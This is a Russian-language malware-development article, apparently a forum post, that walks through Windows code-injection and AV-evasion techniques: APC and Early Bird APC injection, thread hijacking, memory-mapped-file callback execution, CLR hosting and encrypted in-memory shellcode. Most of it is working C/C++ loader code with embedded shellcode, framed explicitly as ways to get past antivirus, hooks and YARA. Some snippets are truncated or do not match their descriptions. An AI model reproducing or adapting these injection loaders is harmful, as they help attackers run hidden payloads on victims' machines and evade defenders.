Малвдев требует не только скрытности, но и глубокого понимания механизмов внедрения и выполнения кода. В этой статье мы разберем пять полезных техник: APC Injection, Thread Hijacking, Memory-Mapped Files с Callback, CLR Hosting и Dynamic Code Signing.
Что это: APC — механизм Windows, позволяющий планировать выполнение функции в контексте потока. Мы можем "вставить" вызов в поток жертвы, который будет выполнен, когда поток перейдет в alertable state (ожидание с флагом ALERTABLE).
Процесс работы зверька:
Ну этот механизм можно внедрять более интересным способом, а именно
Сын маминой подруги: Early Bird APC
Вместо инжекта в уже работающий поток, создается новый процесс в suspended state (CreateProcess с CREATE_SUSPENDED). До его инициализации (до вызова ResumeThread) мы инжектим APC. При запуске потока shellcode выполняется до загрузки большинства детектируемых DLL и хуков AV.
Преимущества:
Что это: Перехват управления уже существующим потоком, заменив его контекст (CPU-регистры), особенно RIP (на x64).
Процесс работы зверька:
Преимущества:
Недостатки:
Что это: Инжекция shellcode в разделяемое отображение памяти и активация через легитимные callback функции.
Процесс работы зверька (я уже заебался это писать):
Другие API подходящие под эти цели: BindImageEx, ImageGetDigestStream, EnumSystemLocalesEx.
Преимущества:
Что это: Загрузка shellcode через API .NET CLR, что позволяет обойти сигнатурное сканирование и использовать механизм выполнения .NET.
Процесс:
Пример:
github.com
Преимущества:
Что это: Генерация криптографически подписанного shellcode в рантайме, используя легитимные криптофункции Windows (bcrypt.dll), чтобы обойти детекторы, которые завязанные на сигнатурах и хешах.
Процесс:
Преимущества:
Asynchronous Procedure Call (APC) Injection
Что это: APC — механизм Windows, позволяющий планировать выполнение функции в контексте потока. Мы можем "вставить" вызов в поток жертвы, который будет выполнен, когда поток перейдет в alertable state (ожидание с флагом ALERTABLE).
Процесс работы зверька:
- Получаем handle к целевому потоку (OpenThread).
- Аллоцируем память в процессе жертвы (VirtualAllocEx).
- Пишем туда shellcode (WriteProcessMemory).
- Используем NtQueueApcThread, чтобы вставить адрес shellcode как APC.
- Ждем, пока поток перейдет в alertable state (например, при WaitForSingleObjectEx).
C:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <Windows.h>
unsigned char payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
int main(int argc, char* argv[]) {
using resolvedNtTestAlert = NTSTATUS(NTAPI*)();
SIZE_T payloadLen = sizeof(payload);
resolvedNtTestAlert executor = (resolvedNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
LPVOID newMemorySpace = VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(GetCurrentProcess(), newMemorySpace, payload, payloadLen, NULL);
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)newMemorySpace;
QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
executor();
return 0;
}
Ну этот механизм можно внедрять более интересным способом, а именно
Сын маминой подруги: Early Bird APC
Вместо инжекта в уже работающий поток, создается новый процесс в suspended state (CreateProcess с CREATE_SUSPENDED). До его инициализации (до вызова ResumeThread) мы инжектим APC. При запуске потока shellcode выполняется до загрузки большинства детектируемых DLL и хуков AV.
C:
#include<stdio.h>
#include<Windows.h>
int main() {
//shellcode for Hello World PopUp Message
unsigned char buf[]= "\x48\x83\xEC\x28\x48\x83\xE4\xF0\x48\x8D\x15\x66\x00\x00\x00"
"\x48\x8D\x0D\x52\x00\x00\x00\xE8\x9E\x00\x00\x00\x4C\x8B\xF8"
"\x48\x8D\x0D\x5D\x00\x00\x00\xFF\xD0\x48\x8D\x15\x5F\x00\x00"
"\x00\x48\x8D\x0D\x4D\x00\x00\x00\xE8\x7F\x00\x00\x00\x4D\x33"
"\xC9\x4C\x8D\x05\x61\x00\x00\x00\x48\x8D\x15\x4E\x00\x00\x00"
"\x48\x33\xC9\xFF\xD0\x48\x8D\x15\x56\x00\x00\x00\x48\x8D\x0D"
"\x0A\x00\x00\x00\xE8\x56\x00\x00\x00\x48\x33\xC9\xFF\xD0\x4B"
"\x45\x52\x4E\x45\x4C\x33\x32\x2E\x44\x4C\x4C\x00\x4C\x6F\x61"
"\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x55\x53\x45\x52\x33"
"\x32\x2E\x44\x4C\x4C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F"
"\x78\x41\x00\x48\x65\x6C\x6C\x6F\x20\x77\x6F\x72\x6C\x64\x00"
"\x4D\x65\x73\x73\x61\x67\x65\x00\x45\x78\x69\x74\x50\x72\x6F"
"\x63\x65\x73\x73\x00\x48\x83\xEC\x28\x65\x4C\x8B\x04\x25\x60"
"\x00\x00\x00\x4D\x8B\x40\x18\x4D\x8D\x60\x10\x4D\x8B\x04\x24"
"\xFC\x49\x8B\x78\x60\x48\x8B\xF1\xAC\x84\xC0\x74\x26\x8A\x27"
"\x80\xFC\x61\x7C\x03\x80\xEC\x20\x3A\xE0\x75\x08\x48\xFF\xC7"
"\x48\xFF\xC7\xEB\xE5\x4D\x8B\x00\x4D\x3B\xC4\x75\xD6\x48\x33"
"\xC0\xE9\xA7\x00\x00\x00\x49\x8B\x58\x30\x44\x8B\x4B\x3C\x4C"
"\x03\xCB\x49\x81\xC1\x88\x00\x00\x00\x45\x8B\x29\x4D\x85\xED"
"\x75\x08\x48\x33\xC0\xE9\x85\x00\x00\x00\x4E\x8D\x04\x2B\x45"
"\x8B\x71\x04\x4D\x03\xF5\x41\x8B\x48\x18\x45\x8B\x50\x20\x4C"
"\x03\xD3\xFF\xC9\x4D\x8D\x0C\x8A\x41\x8B\x39\x48\x03\xFB\x48"
"\x8B\xF2\xA6\x75\x08\x8A\x06\x84\xC0\x74\x09\xEB\xF5\xE2\xE6"
"\x48\x33\xC0\xEB\x4E\x45\x8B\x48\x24\x4C\x03\xCB\x66\x41\x8B"
"\x0C\x49\x45\x8B\x48\x1C\x4C\x03\xCB\x41\x8B\x04\x89\x49\x3B"
"\xC5\x7C\x2F\x49\x3B\xC6\x73\x2A\x48\x8D\x34\x18\x48\x8D\x7C"
"\x24\x30\x4C\x8B\xE7\xA4\x80\x3E\x2E\x75\xFA\xA4\xC7\x07\x44"
"\x4C\x4C\x00\x49\x8B\xCC\x41\xFF\xD7\x49\x8B\xCC\x48\x8B\xD6"
"\xE9\x14\xFF\xFF\xFF\x48\x03\xC3\x48\x83\xC4\x28\xC3";
SIZE_T payload_size = sizeof(buf);
//give configuration and information about the newly create process
STARTUPINFOA startprocess = { 0 };
PROCESS_INFORMATION processinfo = { 0 };
PVOID remotebuffer = 0;
DWORD oldprotection = NULL;
//Create a new process
char newproc[] = "C:\\Windows\\System32\\calc.exe";
if (!CreateProcessA(newproc, NULL, NULL, NULL, false, CREATE_SUSPENDED, NULL, NULL, &startprocess, &processinfo)) {
wprintf(L"Failed to Create a New Process !\n", GetLastError());
return 1;
}
HANDLE hprocess = processinfo.hProcess;
HANDLE hthread = processinfo.hThread;
//Allocate memory on the newly created process
remotebuffer = VirtualAllocEx(hprocess, NULL, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (remotebuffer == NULL) {
wprintf(L"Failed to allocate the memory!\n", GetLastError());
CloseHandle(hprocess);
CloseHandle(hthread);
return 1;
}
PTHREAD_START_ROUTINE apcroutine = (PTHREAD_START_ROUTINE)remotebuffer;
printf("Allocated the memory : %p\n", remotebuffer);
//Write Payload/shellcode into the remote buffer
if (!WriteProcessMemory(hprocess, remotebuffer, buf, payload_size, NULL)) {
wprintf(L"Failed to Write Payload into the memory\n", GetLastError());
CloseHandle(hprocess);
CloseHandle(hthread);
return 1;
}
//Changing Memory protection from RW -> RX
if (!VirtualProtectEx(hprocess, remotebuffer, payload_size, PAGE_EXECUTE_READ, &oldprotection)) {
wprintf(L"Failed to Change the memory protection!\n", GetLastError());
CloseHandle(hprocess);
CloseHandle(hthread);
return 1;
}
//Queue the payload
QueueUserAPC((PAPCFUNC)apcroutine, hthread, NULL);
ResumeThread(hthread);
return 0;
}
Преимущества:
- Не создается новый поток.
- Трудно обнаружить, особенно при Early Bird.
Thread Hijacking
Что это: Перехват управления уже существующим потоком, заменив его контекст (CPU-регистры), особенно RIP (на x64).Процесс работы зверька:
- Приостанавливаем поток (SuspendThread).
- Получаем его контекст (GetThreadContext или NtGetContextThread).
- Изменяем RIP на адрес нашего shellcode (SetThreadContext / NtSetContextThread).
- Возобновляем поток (ResumeThread).
C:
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
// Function to get process ID by its name
int getPIDbyProcName(const string& procName) {
int pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (Process32FirstW(hSnap, &pe32) != FALSE) {
while (pid == 0 && Process32NextW(hSnap, &pe32) != FALSE) {
wstring wideProcName(procName.begin(), procName.end());
if (wcscmp(pe32.szExeFile, wideProcName.c_str()) == 0) {
pid = pe32.th32ProcessID;
}
}
}
CloseHandle(hSnap);
return pid;
}
// Function to find a thread belonging to a given process ID
HANDLE findThread(DWORD pid) {
HANDLE hSnapshot;
THREADENTRY32 tEntry;
HANDLE hThread;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
tEntry.dwSize = sizeof(tEntry);
while (Thread32Next(hSnapshot, &tEntry)) {
if (tEntry.th32OwnerProcessID == pid) {
hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tEntry.th32ThreadID);
if (hThread == NULL || tEntry.th32ThreadID == 0) {
continue;
}
else {
return hThread;
}
}
}
return NULL;
}
// Function to get process handle by its PID
HANDLE getHandleProcessByPID(DWORD pid) {
HANDLE hSnapshot;
PROCESSENTRY32 pEntry;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
pEntry.dwSize = sizeof(pEntry);
HANDLE hProcess = NULL;
while (Process32Next(hSnapshot, &pEntry)) {
if (pEntry.th32ProcessID == pid) {
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pEntry.th32ProcessID);
if (hProcess == NULL || pEntry.th32ProcessID == 0) {
continue;
}
else {
return hProcess;
}
}
}
}
// Function to get the thread's CONTEXT structure
CONTEXT getThreadContext(HANDLE hThread) {
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
SuspendThread(hThread);
GetThreadContext(hThread, &context);
return context;
}
int main() {
HANDLE hThread;
CONTEXT context;
int pid;
// Get process and thread information
pid = getPIDbyProcName("notepad.exe");
hThread = findThread(pid);
context = getThreadContext(hThread);
HANDLE hProcess = getHandleProcessByPID(pid);
// Get the address of VirtualAlloc
LPVOID functionAddress = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "VirtualAlloc");
// Allocate memory for the return stub inside the remote process
LPVOID returnStub = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!returnStub) {
printf("Error allocating stub in remote process\n");
return -1;
}
// Assembly code to capture RAX and return execution
BYTE stubCode[] = {
0x50, // push rax (Save RAX)
0x48, 0xA3, // mov qword ptr [returnStub], rax
0, 0, 0, 0, 0, 0, 0, 0, // (Memory address of returnStub)
0x58, // pop rax (Restore RAX)
0xC3 // ret (Return execution)
};
// Insert the address of returnStub into stubCode
memcpy(&stubCode[3], &returnStub, sizeof(LPVOID));
// Write the stub into the remote process memory
WriteProcessMemory(hProcess, returnStub, stubCode, sizeof(stubCode), NULL);
// Reserve stack space in the remote thread
DWORD64 remoteStack = context.Rsp - 8;
// Write the return stub address onto the remote stack
WriteProcessMemory(hProcess, (LPVOID)remoteStack, &returnStub, sizeof(returnStub), NULL);
// Modify the thread context to execute VirtualAlloc
context.Rip = (DWORD_PTR)functionAddress;
context.Rcx = NULL; // lpAddress
context.Rdx = 0x1000; // dwSize
context.R8 = MEM_COMMIT | MEM_RESERVE; // flAllocationType
context.R9 = PAGE_EXECUTE_READWRITE; // flProtect
// Point the return address to our stub
context.Rsp = remoteStack;
// Apply the modified context
SetThreadContext(hThread, &context);
ResumeThread(hThread);
// Wait for the thread to execute VirtualAlloc
Sleep(100);
// Read the value of allocatedMemory from the stub
LPVOID allocatedMemory;
ReadProcessMemory(hProcess, returnStub, &allocatedMemory, sizeof(LPVOID), NULL);
cout << "Thread hijacking successful! Allocated memory: " << allocatedMemory << endl;
getchar();
return 0;
}
Преимущества:
- Нет создания новых потоков.
- Выглядит как легитимный поток.
Недостатки:
- Поток может быть в нестабильном состоянии. Нужно уметь выбирать моменты, когда он в ожидании.
Memory-Mapped Files + Callback APIs
Что это: Инжекция shellcode в разделяемое отображение памяти и активация через легитимные callback функции.
Процесс работы зверька (я уже заебался это писать):
- Создаём файл в памяти (CreateFileMapping).
- Отображаем его в адресное пространство (MapViewOfFile).
- Пишем shellcode в память.
- Используем API с callback, которые вызывают переданную функцию. Например CopyFile2, где можно указать COPYFILE2_EXTENDED_PARAMETERS::pProgressRoutine.
C:
#include <windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "psapi.lib")
// XOR key for encoding/decoding the shellcode
#define XOR_KEY 0xAA
// MessageBox shellcode (MessageBoxA(NULL, "Callback Executed!", "Info", MB_OK))
// XOR-encoded with 0xAA
unsigned char encodedShellcode[] = {
0xeb, 0x0e, 0x5b, 0x31, 0xc9, 0xb1, 0x19, 0x80, 0x73, 0x0a, 0xaa, 0x43,
0xe2, 0xfa, 0xeb, 0x05, 0xe8, 0xed, 0xff, 0xff, 0xff, 0xe3, 0x05, 0xaa,
0xa2, 0xc9, 0xc9, 0x8b, 0x43, 0x30, 0xaa, 0x53, 0x51, 0x53, 0x68, 0x21,
0x21, 0xaa, 0x68, 0x64, 0x65, 0x64, 0x68, 0x43, 0x61, 0x6c, 0xaa, 0x8d,
0x4b, 0x10, 0x53, 0xff, 0xd0
};
// Decodes the shellcode in-place using XOR
void decodeShellcode(unsigned char* shellcode, SIZE_T size, unsigned char key) {
for (SIZE_T i = 0; i < size; i++) {
shellcode[i] ^= key;
}
}
int main() {
SIZE_T shellcodeSize = sizeof(encodedShellcode);
// Create a memory-mapped section with executable permissions
HANDLE hMap = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, (DWORD)shellcodeSize, NULL);
if (!hMap) {
printf("CreateFileMappingW failed: %lu\n", GetLastError());
return -1;
}
// Map the section into the current process address space
LPVOID pMap = MapViewOfFile(hMap, FILE_MAP_ALL_ACCESS, 0, 0, shellcodeSize);
if (!pMap) {
printf("MapViewOfFile failed: %lu\n", GetLastError());
CloseHandle(hMap);
return -1;
}
// Copy the encoded shellcode into the mapped memory
memcpy(pMap, encodedShellcode, shellcodeSize);
// Decode it in-place to make it executable
decodeShellcode((unsigned char*)pMap, shellcodeSize, XOR_KEY);
// Trigger execution via a callback-based API (EnumPageFilesW)
EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)pMap, NULL);
// Cleanup
UnmapViewOfFile(pMap);
CloseHandle(hMap);
return 0;
}
Другие API подходящие под эти цели: BindImageEx, ImageGetDigestStream, EnumSystemLocalesEx.
Преимущества:
- Легитимные API вызывают shellcode.
- Не требует создания потоков.
CLR Hosting
Что это: Загрузка shellcode через API .NET CLR, что позволяет обойти сигнатурное сканирование и использовать механизм выполнения .NET.
Процесс:
- Загружаем CLR в текущий процесс (CLRCreateInstance, ICLRRuntimeHost::Start).
- Загружаем и выполняем код с помощью ExecuteInDefaultAppDomain.
Пример:
GitHub - xforcered/Being-A-Good-CLR-Host
Contribute to xforcered/Being-A-Good-CLR-Host development by creating an account on GitHub.
Преимущества:
- Возможность скрытия shellcode в .NET DLL.
- Хорошая интеграция с PowerShell, C# payload'ами
Dynamic Code Signing
Что это: Генерация криптографически подписанного shellcode в рантайме, используя легитимные криптофункции Windows (bcrypt.dll), чтобы обойти детекторы, которые завязанные на сигнатурах и хешах.
Процесс:
- Создаем ECDH-ключи через BCryptSecretAgreement, BCryptGenerateKeyPair.
- Соглашаем ключ с "сервером".
- Шифруем/подписываем shellcode в рантайме.
- Расшифровываем и исполняем только в оперативной памяти.
C:
#include <windows.h>
#include <bcrypt.h>
#include <psapi.h>
#include <stdio.h>
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "psapi.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define AES_KEY_SIZE 16 // AES-128
// Example shellcode: MessageBoxA(NULL, "Signed Shellcode", "Notice", MB_OK)
unsigned char shellcode[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2,
0x65, 0x48, 0x8b, 0x52, 0x60, // <... trimmed for brevity ...>
};
// Hardcoded AES key (in real use: generate at runtime via BCryptGenRandom)
const BYTE aesKey[AES_KEY_SIZE] = {
0x1a, 0x2b, 0x3c, 0x4d, 0x5e, 0x6f, 0x7a, 0x8b,
0x9c, 0xad, 0xbe, 0xcf, 0xda, 0xeb, 0xfc, 0x0d
};
// Encrypt shellcode using AES and return allocated buffer
BYTE* encryptShellcode(BYTE* data, DWORD size, DWORD* outSize) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status;
DWORD cbData, cbCipherText;
BYTE* cipherText = NULL;
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!NT_SUCCESS(status)) return NULL;
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_ECB, sizeof(BCRYPT_CHAIN_MODE_ECB), 0);
if (!NT_SUCCESS(status)) return NULL;
status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)aesKey, AES_KEY_SIZE, 0);
if (!NT_SUCCESS(status)) return NULL;
status = BCryptEncrypt(hKey, data, size, NULL, NULL, 0, NULL, 0, &cbCipherText, 0);
if (!NT_SUCCESS(status)) return NULL;
cipherText = (BYTE*)VirtualAlloc(NULL, cbCipherText, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!cipherText) return NULL;
status = BCryptEncrypt(hKey, data, size, NULL, NULL, 0, cipherText, cbCipherText, &cbData, 0);
if (!NT_SUCCESS(status)) return NULL;
*outSize = cbData;
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return cipherText;
}
// Decrypt AES buffer using legit Windows APIs
BOOL decryptShellcode(BYTE* cipherText, DWORD size, BYTE** outShellcode) {
BCRYPT_ALG_HANDLE hAlg = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;
NTSTATUS status;
DWORD cbData;
BYTE* plainText = NULL;
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!NT_SUCCESS(status)) return FALSE;
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_ECB, sizeof(BCRYPT_CHAIN_MODE_ECB), 0);
if (!NT_SUCCESS(status)) return FALSE;
status = BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)aesKey, AES_KEY_SIZE, 0);
if (!NT_SUCCESS(status)) return FALSE;
plainText = (BYTE*)VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!plainText) return FALSE;
status = BCryptDecrypt(hKey, cipherText, size, NULL, NULL, 0, plainText, size, &cbData, 0);
if (!NT_SUCCESS(status)) return FALSE;
*outShellcode = plainText;
BCryptDestroyKey(hKey);
BCryptCloseAlgorithmProvider(hAlg, 0);
return TRUE;
}
int main() {
DWORD encSize;
BYTE* encrypted = encryptShellcode(shellcode, sizeof(shellcode), &encSize);
if (!encrypted) {
printf("Encryption failed.\n");
return -1;
}
BYTE* execShellcode = NULL;
if (!decryptShellcode(encrypted, encSize, &execShellcode)) {
printf("Decryption failed.\n");
return -1;
}
// Optional: execute via EnumPageFilesW (obscure callback vector)
EnumPageFilesW((PENUM_PAGE_FILE_CALLBACKW)execShellcode, NULL);
return 0;
}
Преимущества:
- Каждый shellcode уникальный и не палится на уровне сигнатур.
- Очень сложно детектировать с помощью YARA, и опять же таки сигнатур, AV.